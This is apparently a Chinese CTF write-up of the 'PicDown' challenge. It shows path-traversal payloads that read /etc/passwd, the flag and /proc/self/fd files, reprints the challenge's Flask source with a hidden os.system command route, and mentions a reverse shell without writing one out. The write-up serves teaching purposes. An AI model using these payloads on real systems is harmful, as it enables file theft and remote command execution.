[网鼎杯 2020 白虎组]PicDown

发布于 2021-08-09  79 次阅读


知识点

  1. python反弹shell
  2. linux proc/pid/信息说明

解题过程

image-20210809161602220

输入任意字符,URL中出现Get传参,经过测试,发现这里存在任意文件读取

payload:?url=../../../../../etc/passwd
image-20210809161849820

非预期解法

payload:?url=../../../../../../../flag
image-20210809162141313

正解

?url=../../../../../../proc/self/cmdline
image-20210809162322806

读取当前进程执行的命令,发现运行app.py

image-20210809162612299

获取app.py的源码

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
   return render_template('search.html')


@app.route('/page')
def page():
   url = request.args.get("url")
   try:
       if not url.lower().startswith("file"):
           res = urllib.urlopen(url)
           value = res.read()
           response = Response(value, mimetype='application/octet-stream')
           response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
           return response
       else:
           value = "HACK ERROR!"
   except:
       value = "SOMETHING WRONG!"
   return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
   key = request.args.get("key")
   print(SECRET_KEY)
   if key == SECRET_KEY:
       shell = request.args.get("shell")
       os.system(shell)
       res = "ok"
   else:
       res = "Wrong Key!"

   return res


if __name__ == '__main__':
   app.run(host='0.0.0.0', port=8080)

源码很简单,读取一个/tmp/secret.txt文件,并将这个文件删除,然后在@app.route('/no_one_know_the_manager')这个路由中,获取key的参数,然后和文件中读取的KEY做比较,

如果相同,就会将另一个参数shell命令执行,因此难点在于找到secret.txt中存储的值,如何寻找。

这里学到一个小tips:

当文件是用open打开的时候,系统会自动创建一个文件链接,查看这个文件链接,即可获取文件内容

?url=../../../../../proc/self/fd/3 # 这里的三要挨个尝试
image-20210809163727583

然后去访问这个路由传入参数,当参数传递的时候,要注意如下问题

  1. 因为命令执行无回显,选择反弹shell
  2. shell处要进行URL编码
image-20210809164101055